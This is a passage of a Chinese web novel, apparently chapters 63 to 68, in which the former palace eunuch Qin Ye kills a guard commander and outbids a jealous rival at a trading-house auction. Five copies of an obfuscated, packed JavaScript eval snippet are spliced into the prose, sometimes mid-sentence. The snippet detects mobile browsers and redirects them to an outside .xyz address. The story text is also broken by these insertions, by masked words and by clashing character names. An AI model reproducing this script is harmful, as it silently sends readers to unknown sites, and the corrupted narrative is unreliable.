这话让赵马玄老脸一红,他板着脸道:“各有所长吧,不分伯仲。”说这话时,他下意识地避开了妻子探寻的目光。 商媛若有所思地看着房门。秦烨年纪轻轻就有如此身手,将来成就不可限量。幸好他是个太监,否则不知要祸害多少良家女子。想到这里,她不禁摇头轻笑。 房内,一声巨响打断了商媛的思绪。木质地板发出不堪重负的呻吟,墙壁震颤不已。 端木正整个人重重撞在墙上,右腿已经扭曲变形。他刚才那全力一脚,竟被秦烨一拳就给破了。冷汗顺着他的额头滑落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481740|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浸湿了衣襟。 “秦总管,冤家宜解不宜结。”端木正强忍剧痛,脸色苍白如纸,“咱们之前有些误会,不如坐下来谈谈。我好歹是禁军总戎,日后定能助秦总管一臂之力。” 秦烨眯起眼睛,正想上前盘问,却见端木正手臂一动,两枚寒光闪闪的短刺破袖而出,直取自己要害。暗器的寒芒在昏暗的房间内格外刺眼。 “找死!” 秦烨眼中杀意迸发,一脚踢出。劲风呼啸,带着不可阻挡的力量。 “咔嚓”一声脆响,端木正胸骨尽碎,整个人如断线风筝般飞出,重重撞在墙上。轰然巨响中,整面墙轰然倒塌,砖石纷飞。 秦烨身形一闪,及时避开坍塌的房屋。转眼间,端木正已被埋在废墟之下。灰尘弥漫,遮蔽了视线。 “贤弟啊,早知如此,该找个宽敞地方。”赵马玄携着夫人走来,大笑道。笑声中带着几分无奈,几分调侃。 秦烨拱手:“倒是让赵兄破费了。”他的衣衫有些凌乱,但气息平稳,显然这场打斗并未让他耗费太多精力。 “兄弟之间,说这些做什么。”赵马玄挥手唤来几个帮众,“先收拾掉这具尸体。” 帮众很快从废墟中拖出端木正的尸体。他的脸上还残留着临死前的不甘与惊恐。秦烨在其身上搜索,找出一沓银票,想必是准备付给**的酬劳。 “端木正,活该你栽在我手里。”秦烨将银票递过去,神色坦然。 赵马玄连连摆手:“贤弟这是打我的脸。”他的声音中带着几分豪气。 这时,一枚古朴的青铜小刀引起了两人注意。刀身上布满神秘的纹路,在阳光下泛着幽幽的光泽。在这铁器时代,端木正随身带着青铜器,必有蹊跷。 秦烨将小刀收入怀中:“此物不简单,我得好好查查。”他的指尖轻轻抚过刀身的纹路,若有所思。 “贤弟,这银票我是万万不能收的。”赵马玄再次推辞,态度坚决。 秦烨也不强求,江湖儿女最重义气,过分推让反倒显得虚伪。他将银票收回,目光扫过四周。 正在此时,一名帮众匆匆而来,脚步急促:“帮主,汴城商会请您过去,拍卖会要开始了。” “贤弟既得了银票,不如随我去看看,说不定有什么好东西。”赵马玄提议道,眼中闪过一丝期待。 第六十四章 天机商行 秦烨点头应下。他本就是天机商行座上宾,正好去见识一番。况且,这场拍卖会或许能让他了解到一些有用的信息。 “处理干净,别留痕迹。”赵马玄对手下人吩咐道。几个帮众立刻开始忙碌起来,将现场的痕迹清理。 一路上,秦烨思索着端木正的事。此人身为禁军总戎,却要置自己于死地,背后必有隐情。那枚青铜小刀,或许能牵出些什么。他的手不自觉地摸向怀中的小刀,触手冰凉。 街上行人渐多,两人放慢了脚步。天机商行在汴城颇有名望,每次拍卖会都会吸引不少达官显贵。街道两旁的店铺已经开始营业,叫卖声此起彼伏。 “王兄可知这次拍卖会有什么稀罕物件?”秦烨随口问道,目光扫过街边形形**的行人。 赵马玄摇头:“具体不清楚,不过听说有几件宝物,连宫里都派人来了。”他压低声音,“听说是从北疆来的奇珍异宝。” 秦烨若有所思。宫里的人也来,看来这次拍卖会不简单。 “到了。”赵马玄的声音打断了秦烨的思绪。 抬头望去,一座富丽堂皇的建筑映入眼帘,门口车马络绎不绝,来往皆是达官显贵。建筑的大门两侧,站着身材魁梧的护卫,目光警惕地扫视着每一个进出的人。 “走吧。”赵马玄笑道,“让贤弟见识见识汴城的繁华。” 天机商行的大门前,人流如织,马车不断,热闹非凡。 今日是一年一度的拍卖盛会,各路商贾纷至沓来,连汴城里那些平日难得一见的大人物也都现身了。街道两旁的店铺早已挂起了红色的绸缎,空气中弥漫着一股浓浓的香料味,让整条街都显得格外喜庆。 秦烨跟在赵马玄身后,看着眼前这座富丽堂皇的建筑,心中暗自思量。青砖碧瓦的三层楼阁,朱红色的大门上挂着金色匾额,“天机商行”四个大字在阳光下熠熠生辉。门前两尊石狮子威风凛凛,门槛上铺着红毯,一直延伸到大厅内部。 这还是他第一次来这种场合。以往在宫中当差,每日面对的不是冰冷的宫墙,就是严肃的官员,哪里见过这等繁华景象。看着周围衣着华贵的商贾们,秦烨不禁有些恍惚。 “秦兄弟,发什么呆呢?”赵马玄转过身,眼中带着几分调侃,“别看这些人穿得光鲜亮丽,其实都是些无利不起早的主。” 秦烨回过神来,苦笑着摇了摇头:“赵大哥说得是,我就是没见过这种阵仗,有些走神了。” “走吧,”赵马玄拍了拍他的肩膀,“今天带你见识见识什么叫真正的富贵。” 两人刚踏入大门,就见一个身着锦袍的中年男子快步迎了上来。那人身材略显臃肿,脸上堆满笑容,眼睛却是精明得很。 “赵帮主大驾光临,蓬荜生辉啊!”那人双手抱拳,笑容可掬。 秦烨认出这是天机商行的会长柳辉岳。这位商界大佬在汴城也算是个响当当的人物,据说和朝中不少大臣都有往来。 “柳会长客气了。”赵马玄笑着拱手,“每次你这拍卖会,每回都是我的主力军?” 柳辉岳连连点头:“赵帮主说的是,说的是。”他的目光随即落在秦烨身上,眼中闪过一丝探究,“这位是……” “哦,忘了介绍。”赵马玄拍了拍秦烨的肩膀,“这是我兄弟秦烨。” “原来是秦公子。”柳辉岳立刻换上一副热情的面孔,“久仰久仰。” 秦烨心中暗笑,这柳辉岳果然是个老狐狸,明明从未见过自己,却装出一副久闻大名的样子。不过这种场合,他也只能陪着演戏。 “柳会长客气了,”秦烨拱手还礼,“今日还请多多指教。” “那是自然,那是自然。”柳辉岳笑道,目光在秦烨身上多停留了几秒,“二位这边请。” 穿过富丽堂皇的大厅,柳辉岳将他们引到了二楼的云锦阁。沿途所见,处处彰显着奢华。地上铺着上等羊毛地毯,墙上挂着名家字画,就连门把手都是纯金打造。 云锦阁是商会最好的包间之一,视野开阔,正对着拍卖场的中心位置。阁内陈设考究,古色古香的红木家具,上等的紫砂茶具,还有一盆栩栩如生的盆景,无一不透露着主人的品味。 “二位稍坐,我去安排人送些茶点来。”柳辉岳说完便退了出去,脚步轻快,显然心情不错。 秦烨走到栏杆边,俯视着下方熙熙攘攘的人群。拍卖场中已经坐了不少人,三三两两地低声交谈,偶尔传来几声爽朗的笑声。 “第一次来这种场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481741|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合吧?”赵马玄走到他身边,笑着问道。 “是啊,”秦烨点头,目光扫过下方的人群,“在宫里当差这些年,还真没见过这种阵仗。” “那你可要好好看看,”赵马玄道,“这里可是汴城最大的拍卖场,什么稀罕物件都能见着。不过……”他压低声音,“有些东西的来历,可就不那么光彩了。” 秦烨正要追问,忽听身后传来一个清脆的声音:“赵帮主这话可就不对了。” 转头看去,只见一个身着红色旗袍的女子款款走来。那旗袍将她玲珑有致的身材勾勒得淋漓尽致,一颦一笑间尽显妩媚。她的脸上带着得体的微笑,眼神却透着几分精明。 “柳小姐。”赵马玄笑着打招呼,语气明显比对柳辉岳要客气许多。 秦烨这才明白,这应该就是柳辉岳的女儿柳霜华了。据说这位大小姐不仅貌美,还精通商道,是天机商行的实际掌舵人。 “赵帮主今日带了贵客来啊。”柳霜华看向秦烨,眼中闪过一丝异样的光芒,“不知这位公子是……” “这是我兄弟秦烨。”赵马玄介绍道,“刚从宫里出来不久。” “秦公子。”柳霜华盈盈一笑,眼波流转,“我是柳霜华,今日的拍卖会由我主持。” 秦烨拱手还礼:“柳小姐好。”他注意到柳霜华看向自己的眼神中带着几分探究,显然对自己的身份很感兴趣。 “秦公子是第一次来吧?”柳霜华问道,“要不要我带你四处转转?” 秦烨看了眼赵马玄,后者笑着点头:“去吧,让柳小姐带你熟悉熟悉环境。” “那就多谢柳小姐了。”秦烨道。 “秦公子客气了。”柳霜华莞尔一笑,“请。” 跟着柳霜华下了楼,秦烨暗自打量着这位天机商行的大小姐。不得不说,这柳霜华确实生得美艳动人,一举一动都透着优雅。但秦烨却从她的眼神中,看出了几分精明干练的气质。 “秦公子可有什么特别想看的东西?”柳霜华问道,声音轻柔,“今日的拍卖品中,有不少稀世珍宝。” “我对这里的规矩不太熟,还请柳小姐指点。”秦烨谦虚道。他能感觉到周围投来的目光,有惊讶,有好奇,更多的是嫉妒。 第六十五章 参加拍卖会 “那我就给秦公子介绍介绍。”柳霜华笑道,“我们这次拍卖会,可是汇集了不少好东西。比如这件……” 她指向一个玻璃展柜,里面放着一个青花瓷瓶。瓷瓶通体洁白,上面绘着栩栩如生的山水画,笔触细腻,意境深远。 “这是宋代官窑的作品,”柳霜华介绍道,“据说是当年贡品中的珍品,流落民间后,经过多方辗转,才到了我们手中。” 秦烨点点头,装作很感兴趣的样子:“确实是件难得的好物件。” “秦公子懂瓷器?”柳霜华眼前一亮。 “略懂一二。”秦烨道,“在宫里的时候,见过不少贡品,耳濡目染,也算有些了解。” “那正好,”柳霜华笑道,“一会拍卖会上,还有几件更好的瓷器要拍卖,秦公子可要看仔细了。” 秦烨点点头,心中却在思索。这柳霜华主动接近自己,恐怕不会这么简单。她对自己的身份似乎很感兴趣,难道是因为自己曾在宫里当差? 不过既然对方有意结交,那自己也不妨顺水推舟。毕竟,天机商行在汴城的势力不容小觑,多个朋友总比多个敌人好。 想到这里,秦烨脸上的笑容更加温和了几分:“那就请柳小姐多多指教了。” 柳霜华似乎对他的反应很满意,嫣然一笑:“秦公子不必客气。对了,一会拍卖会开始后,我要去主持,就不能陪着秦公子了。不过……”她顿了顿,“拍卖会结束后,我设了一场小宴,不知秦公子可愿赏光?” 秦烨心中一动,这柳霜华果然另有目的。不过现在还不是拆穿的时候,他笑着点头:“既然柳小姐盛情相邀,我自然不会推辞。” “那就说定了。”柳霜华眼中闪过一丝得意,“秦公子稍等,我有些事先离开一下。” 看着柳霜华离去的背影,秦烨若有所思。这天机商行,恐怕没有表面上看起来那么简单。 “霜华?” 一道温润如玉的声音在人群中响起,打破了拍卖会场的嘈杂。 秦烨正靠在二楼的栏杆处,俯视着大厅内来来往往的宾客。听到这声呼唤,他不由得将目光投向声音的来源处。只见一名身着白衣的青年正拦在柳霜华面前,脸上带着刻意的笑容。 柳霜华今日一袭淡青色长裙,发间簪着一支白玉簪子,端庄优雅。她微微颔首,语气平淡:“阳公子。” “好久不见了。”阳博玉往前迈了一步,缩短两人之间的距离,“上次在诗会上匆匆一面,都没来得及好好说话。” 秦烨注意到柳霜华下意识地后退半步,保持着恰到好处的距离。这个细节让他嘴角微扬,看来这位汴城第一粮商的公子并不受欢迎。 “霜华,我新开了个墨社,不少才子都来捧场。”阳博玉的声音里带着几分炫耀,“要不要找个时间来坐坐?我特意让人从江南运来了上好的龙井。” 柳霜华的眉头几不可察地皱了皱:“抱歉,最近商会事务繁忙,恐怕抽不出时间。” “那……不知今日拍卖会可有什么好物件?”阳博玉不死心地追问,“不如霜华给我介绍介绍?” “小七。”柳霜华唤来一名仆人,“带阳公子去看看今日的拍品。”说完,她转身朝秦烨所在的方向走来。 阳博玉站在原地,脸上的笑容逐渐凝固。他死死盯着柳霜华离去的背影,眼中闪过一丝阴霾。 “秦公子,让您久等了。”柳霜华来到秦烨身边,嫣然一笑。 “无妨,看戏也是一种乐趣。”秦烨轻笑道,“不过这位阳马公似乎对我很有意见?” 柳霜华轻哼一声:“他啊,整日就知道吟诗作对,自诩才子。不过是个无病呻吟的酒囊饭袋罢了。若不是看在他父亲的面子上,我连话都懒得跟他说。” 两人说话间已经来到拍卖场内,柳霜华没有带秦烨去包厢,而是选了前排的位置。这一举动立刻引来四周无数目光。 “看来我们成了全场的焦点。”秦烨环顾四周,不少人正对着他们指指点点。 “秦公子不会怕了吧?”柳霜华眨眨眼,带着几分调侃。 “怕?”秦烨摇头,“我倒是很期待接下来的好戏。” 远处,阳博玉坐在包厢里,手中的茶杯已经被捏得变了形。他冷冷地注视着下方的两人,眼中闪过一丝狠厉。 “给我查,一定要查出这小子是什么来头!”他咬牙切齿地对身边的管事说道。 管事躬身应是,转身离去。不多时,便有消息传回:“少爷,查到了。这个秦烨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481742|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是从江南来的商人,似乎和柳阳家有些生意往来。” “江南来的商人?”阳博玉冷笑,“不过是个外地人罢了,也敢在我的地盘上放肆?” 台上,拍卖师正在介绍第一件拍品:“这是一幅宋代名家的山水画,起拍价五千两……” 秦烨却对台上的拍品毫无兴趣,他的注意力全在不远处的阳博玉身上。这位汴城第一粮商的公子,恐怕不会善罢甘休。 果然,没过多久,一个面容阴鸷的中年人来到秦烨身边:“这位公子,可否借一步说话?” “你是?”秦烨明知故问。 “在下是阳家的管事。”中年人压低声音,“我家少爷想请公子去包厢一叙。” 秦烨看了眼正在专注听拍卖的柳霜华,轻笑道:“不好意思,我更愿意陪霜华姑娘看拍卖。” 管事的脸色瞬间阴沉下来:“秦公子,有些事情,最好想清楚再做决定。我们阳家在汴城……” “我知道。”秦烨打断他的话,“汴城第一粮商,手眼通天。不过……”他转头直视管事的眼睛,“你们阳家,真的有这个胆子吗?” 管事被他眼中的冷意震慑,不由自主地后退半步。 “去告诉你家少爷。”秦烨继续说道,“做人要有自知之明。不是什么人,都是他能招惹的。” 管事脸色变了又变,最后悻悻地离去。 柳霜华在一旁听得清楚,不由得看向秦烨:“秦公子,阳家在汴城势力不小,你这样说话,会不会……” “无妨。”秦烨淡淡一笑,“我既然敢来汴城,自然有我的倚仗。” 拍卖继续进行,一件件珍品被高价拍出。 “每件拍品叫价三次无人应答,便算成交。”柳霜华坐在他身旁,纤细的手指轻轻摩挲着桌面,声音轻柔地解释着规则。她今日一袭淡青色长裙,更显得肤若凝脂,明眸善睐。 秦烨转头看向她,眼中闪过一丝兴味:“加价有什么讲究吗?” “这里面门道可多了。”柳霜华微微一笑,眼角弯起好看的弧度,“最基本的规矩是,每次加价不能低于起拍价的十分之一,否则会被视作捣乱。有些人为了震慑其他竞拍者,会一口气喊出一个高价,让对手知难而退。” 第六十六章 拍得玉佩 远处的阳博玉死死盯着两人亲密交谈的场景,手中的茶盏几乎要被捏碎。他身着锦缎长袍,腰间玉佩叮当作响,一看就是富贵人家的公子。此刻他眼中闪过一丝阴鸷,心中暗自盘算着要如何出手。 秦烨忽然凑近柳霜华耳边,温热的气息拂过她的耳畔:“你们会不会安排托儿?”这个动作让柳霜华顿时红了脸,连忙往旁边挪了挪。 “秦公子说笑了,”她轻咳一声掩饰尴尬,“我们汴城商会的招牌可不能砸。这儿可都是非富即贵的大人物,若是玩这种把戏,早就关门大吉了。” 这时,两个膀大腰圆的大汉抬着一尊巨大的木雕佛像上台,一位白发苍苍的老者紧随其后。佛像通体呈深褐色,雕工看起来并不精细,木材也是普通的松木,一看就是最近一两年的新物件。 秦烨眉头微皱:“这尊佛像究竟有什么渊源?” 柳霜华掩嘴轻笑:“您且听着就知道了。” 台上的拍卖师身着长衫,手持惊堂木,中气十足地喊道:“诸位,这尊木佛乃是城东法云寺鉴真大师亲手雕刻开光,实乃无价之宝!起拍价五百两黄金,请各位出价!” “六百两!” “七百两!” “八百两!” 叫价声此起彼伏,场面一时热闹非凡。有些富商为显示财力,直接加价百两。也有人小心翼翼,每次只加最低限额。 柳霜华见秦烨始终不为所动,轻声问道:“秦公子对这佛像没兴趣?” “我不信佛。”秦烨淡然一笑,目光依旧平静如水。 “那公子信什么?” 秦烨指了指自己:“我信我自己。”这句话说得随意,却透着一股说不出的自信。 最终,那尊木佛以两千三百两黄金成交。秦烨看着那个兴高采烈的买主,心中暗自摇头。一个实际价值可能连一两黄金都不到的木雕,竟能卖出这般天价,不得不说信仰的力量确实不可思议。 第二件拍品是一只千年青铜爵杯,造型古朴,通体呈现出深邃的青绿色,杯身上的纹路清晰可见,确实是件难得的古物。 “这件青铜爵杯出土于西陵古墓,经专家鉴定为商代晚期之物。起拍价一百两黄金!”拍卖师的声音再次响起。 阳博玉终于等到了表现的机会,他猛地站起身,高声喊道:“三百两!”这一出手就是起拍价的三倍,显然是想震慑其他竞买者。 场内一片哗然,不少人纷纷侧目。但很快就有人跟进:“三百五十两!” 阳博玉冷笑一声:“五百两!” 秦烨依旧靠在椅背上,对这场竞价毫无兴趣。在他看来,懂行的人太多,想要拍下好东西就必须付出高价,这并不划算。他更喜欢等待机会,寻找被人忽视的宝物。 柳霜华看着他的侧脸,心中不禁有些疑惑。这位秦公子到底是真的对拍品无意,还是囊中羞涩? 青铜爵杯最终被阳博玉以八百两黄金拍下。他得意地看了眼秦烨的方向,仿佛在说:【看到了吗?这才是真正的财力!】 接下来又上来几件拍品,有玉器、字画、古籍,但都没有引起秦烨的兴趣。他始终保持着那份从容,仿佛对周遭的一切都漠不关心。 突然,一个小巧的木盒被送上拍卖台。拍卖师打开盒子,取出一枚通体碧绿的玉佩。玉佩造型简单,却散发着淡淡的光晕。 秦烨的眼睛猛地亮了起来,身子不自觉地坐直。柳霜华敏锐地察觉到他的变化,不由得多看了那枚玉佩几眼。 “这枚玉佩……”拍卖师刚要开口介绍,秦烨已经举起了手中的号牌:“一千两!” 全场顿时一片寂静。这枚看起来普普通通的玉佩,竟然有人一开口就出到一千两黄金?就连拍卖师都愣住了,他还没来得及说明起拍价呢。 阳博玉冷哼一声:“一千五百两!” 秦烨面不改色:“两千两。” “两千五百两!”阳博玉咬牙切齿,他决不能让这个不知从哪冒出来的家伙在柳霜华面前出风头。 “三千两。”秦烨的声音依旧平静,仿佛在说一件微不足道的小事。 场内众人倒吸一口冷气。这两人为了一枚普通的玉佩,竟然叫到了这个价格?要知道,刚才那尊所谓的高僧开光佛像,也不过两千三百两而已。 阳博玉额头上渗出冷汗,他虽然是阳阳家大少,但也不能这样肆意挥霍。三千两黄金,已经超出了他的预算。 “三千两第一次!”拍卖师适时地喊道。 “三千两第二次!” “三千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481743|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两第三次!成交!” 随着惊堂木落下,这场激烈的竞价终于结束。秦烨站起身,在众人惊诧的目光中走上台去,将那枚玉佩收入囊中。 柳霜华看着他的背影,忽然发现自己似乎看不透这个男人了。他究竟是什么来历?为什么会对一枚普通的玉佩如此执着? 而阳博玉则是一脸阴沉,他发誓一定要查清楚这个秦烨的底细。敢在自己面前如此嚣张,总有一天要他付出代价! 秦烨端着茶盏,静静地看着拍卖会的进程。大厅内烛火摇曳,映照着各色人等脸上或贪婪或期待的神色。茶水微凉,他却浑然不觉,目光始终停留在台上那件即将展示的拍品上。 接下来的拍品被四名工人小心翼翼地抬上台,挂在一个檀木雕花的书画架上。这架子做工考究,雕刻着祥云纹样,显然价值不菲。 “诸位贵客稍安勿躁。”拍卖师经过前两轮的热场,此刻正意气风发,声音洪亮地回荡在大厅中,“这幅秋月寒梅图出自画师陈远之手。陈远大家想必都有耳闻,前朝著名画师,淡泊名利,辞官归隐,其画作流传极少,堪称一寸一金……” 秦烨眯着眼打量那幅画,手指无意识地摩挲着茶盏边缘。画作上的春树苍劲有力,秋香若隐若现,整体笔触看似随意,实则暗含玄机。 “假的。”一道不屑的声音突兀响起,打断了拍卖师的介绍。 拍卖师的话语戛然而止,额头上隐约渗出细密的汗珠。 只见一位身着锦袍的公子站了起来,手中折扇轻摇,眼中带着几分轻蔑:“这秋月寒梅图我在礼部侍郎府上见过真迹,颜色浓淡完全不同。礼部侍郎的珍藏,怎会流落到拍卖场?” 此言一出,场中顿时一片哗然。众人交头接耳,议论纷纷。有人开始质疑拍卖行的信誉,也有人暗自庆幸没有贸然出价。 拍卖师擦了擦额头的冷汗,强笑道:“这位公子说得是,礼部侍郎的确不会轻易出手珍藏。既然有疑虑,那就五百文起拍如何?” “五百文都不值!”那锦袍公子更加得意,折扇“啪”的一声合拢,引得众人哄笑。 秦烨将茶盏放在桌上,目光依旧停留在那幅画上。他注意到画作右下角有一处极其细微的痕迹,嘴角不由微微上扬:“有趣。” 第六十七章 分画之术 “公子觉得哪里有趣?”坐在身旁的柳霜华忍不住问道。 秦烨没有立即回答,而是直接开口:“十两黄金。” 全场瞬间寂静。众人不可思议地看向这位出价的年轻人,有人暗自摇头,觉得遇到了个冤大头。 “秦公子……”柳霜华欲言又止,纤细的手指不安地绞着衣角。 秦烨依旧专注地看着那幅画,仿佛发现了什么不为人知的秘密。画中的春树在烛光下似乎在轻轻摇曳,诉说着无人知晓的往事。 “三十两黄金!”一道清朗的声音传来,只见远处一位白衣公子站起身来,举手投足间尽显世家公子的优雅。 “是阳博玉。”有人认出了此人,“听说他一直在追求柳小姐。” 场中顿时明白了,这是在为柳霜华争风吃醋。不少人露出了然的笑容,等着看好戏。 秦烨眉头微皱,手指轻轻敲击着桌面。这阳博玉难道也看出了什么?还是纯粹为了争风吃醋? “五十两黄金。”秦烨不动声色地加价,声音平静得仿佛在谈论今日的天气。 “八十两。”阳博玉摇着折扇,眼中带着挑衅。折扇上绘着一幅山水,在他手中显得格外刺眼。 秦烨眸光一闪,看来这场较量远未结束。 “一百两。”他不紧不慢地说道,仿佛这个数字对他来说不过是个微不足道的数字。 阳博玉的折扇停顿了一下,眼中闪过一丝犹豫:“一百五十两。” 场中响起一片倒吸凉气的声音。一幅被指认是赝品的画,竟然炒到了这个价格?有人开始怀疑这两位公子是否知道些什么内情。 秦烨轻轻放下茶盏,瓷器与木桌相碰发出清脆的声响:“两百两。” “你……”阳博玉脸色微变,折扇“啪”的一声合上。 “这位公子如果觉得贵了,大可不必勉强。”秦烨淡淡道,目光中带着几分戏谑。 阳博玉咬牙,豁出去般喊道:“三百两!” 秦烨露出一丝意味深长的笑意:“五百两。” 阳博玉的脸色瞬间难看起来,额头上的青筋若隐若现。他死死盯着秦烨,似乎想从对方脸上看出些什么。 “五百两黄金一次!”拍卖师激动得声音都在发颤。这个价格已经远远超出了他的预期。 “五百两黄金两次!” 阳博玉握紧了折扇,指节发白,却终究没有再出价。他不是输不起这个钱,而是不确定这幅画是否值得如此高价。 “五百两黄金三次!成交!” 秦烨伸手轻抚画面,眼中闪过一丝笑意:“五百两买到陈远大师的真迹,确实是笔好买卖。” 此言一出,满场哗然。 阳博玉冷笑道:“你这傻子,还在自欺欺人?谁不知道礼部侍郎家中已有真迹,这幅必是赝品!” “有些人自诩聪明,实则愚不可及。”秦烨转过身,目光直视阳博玉,“诸位可知"分画"之术?” 场内顿时安静下来,所有人都被这个陌生的词汇吸引了注意力。 “所谓分画,”秦烨的声音不疾不徐,“就是将厚实的画纸分层,一幅画可以分成两幅、三幅。后揭之画虽然墨色稍淡,却仍是真迹无疑。” 他指着画面上的细节,继续解释:“你们看这里的墨色,较之寻常画作确实略淡,正是分画的特征。礼部侍郎家中那幅,与这幅本是一体。” 众人纷纷凑近观看,议论声此起彼伏。有识货的已经倒吸一口凉气,暗叹这两百两竟让秦烨买到了一桩天大的便宜。 阳博玉的脸色变得极为难看,额头上渗出细密的汗珠。他张了张嘴,想要反驳,却发现自己完全说不出话来。 “分画之术,在行内可是失传已久的绝技。”秦烨小心翼翼地取下画卷,“能做到如此完美,想必是出自名家之手。这幅画的来历,恐怕比我们想象的要复杂得多。” 柳霜华看着侃侃而谈的秦烨,美目中异彩连连。她忽然意识到,这个看似随意的年轻人,远比自己想象的要深不可测。 “秦公子,”她轻声问道,“你是如何看出这些的?” 秦烨笑而不答,只是将画卷小心收好。他的目光扫过满场震惊的面孔,最后落在阳博玉身上:“有些东西,不是用钱就能衡量的。识货的人自然知道它的价值。” 阳博玉脸色铁青,转身离去。他的背影显得格外狼狈,与方才的趾高气扬形成鲜明对比。 拍卖场内的气氛渐渐恢复平静,但人们谈论的焦点已经从“冤大头”变成了“分画”这门神秘的技艺。不少人开始打听秦烨的来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15481744|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历,却发现谁也说不清这个年轻人究竟是何方神圣。 柳霜华站在会场一角,若有所思地打量着秦烨。作为天机商行会长之女,她见过形形**的人物,但像秦烨这样气质独特的年轻人却不多见。他的一举一动都透着从容不迫,仿佛对什么都漫不经心,却又在关键时刻展现出惊人的洞察力。 “有趣。”她轻声自语。 台上,新的拍卖师已经开始介绍下一件拍品。原来的拍卖师悄然退场,快步走向后堂。推开雕花木门,他看到天机商行会长柳富金正在品茶。 “会长,这个秦烨不简单。”拍卖师压低声音,“他对秋月寒梅图的鉴赏水平很高,而且出手阔绰,毫不犹豫。” 柳富金放下青花瓷茶盏,眼中闪过一丝精光:“让霜华提前接触他,看来是个明智之举。” 一场拍卖会,宾主尽欢,秦烨心满意足带着自己拍得的宝贝离开了会场。 分别时,秦烨与赵马玄拱手一笑:“赵兄,后会有期。” 赵马玄眼底闪过一丝复杂,嘴角微微抽动,似乎有千言万语想说,最终却只是重重点头。他深知这位神秘的朋友绝非表面看起来那般简单,但此刻也只能按捺住内心的疑惑,缓缓转身离去。 柳霜华站在秦烨身旁,美眸中带着几分好奇。这个突然出现的男子,居然能与玄铁会帮主称兄道弟,她不由得多打量了几眼,只见秦烨身形挺拔,一袭青衫随风轻扬,举手投足间尽显从容。 柳霜华眨了眨眼,不由自主地被他这份从容所吸引。她下意识想要后退半步,却被秦烨伸手一探,轻轻握住了玉手。那温暖的触感让她心头一颤,想要抽回却又舍不得这份温度。 远处,阳博玉看到这一幕,面色阴沉得几乎要滴出水来。他死死盯着两人交握的手,指甲深深陷入掌心,鲜血顺着指缝缓缓滑落。 “少爷,息怒啊!”身旁的管家连忙低声劝阻,“那人与玄铁会关系匪浅,不可轻举妄动!” “住口!”阳博玉猛地转头,眼中布满血丝,“区区一个外来人,也敢在我阳家地盘上放肆?”他咬牙切齿,“给我调动队伍,今晚我要让他知道得罪我的下场!” 管家额头冒出冷汗,还想再劝,却被阳博玉一个眼神瞪了回去。他只得叹息一声,转身去安排。 第六十八章 暗藏玄机的药方 拍卖会场内,柳富金站在二楼雅间,若有所思地看着楼下的一幕。这个突然出现的年轻人,不仅身手不凡,还与玄铁会交好,最重要的是……他看向自己的女儿,发现霜华眼中闪烁着异样的光彩。 “有意思……”柳富金捋了捋胡须,脸上浮现出意味深长的笑容。 秦烨似乎察觉到了什么,目光在四周扫视一圈,最后停在柳霜华绝美的侧颜上:“时候不早了,我该告辞了。” “我送你。”柳霜华脱口而出,话一出口便觉得有些唐突,俏脸微红。 秦烨挑了挑眉:“就不怕我是个坏人?” “你才不是。”柳霜华嗔道,语气中带着几分娇嗔。 “哦?”秦烨突然凑近,在她耳边低语,“这么相信我?”温热的气息拂过耳畔,惹得柳霜华心跳加速。 就在这时,一阵急促的脚步声传来。十几名黑衣人从四面八方涌出,手中寒光闪烁,杀气腾腾。 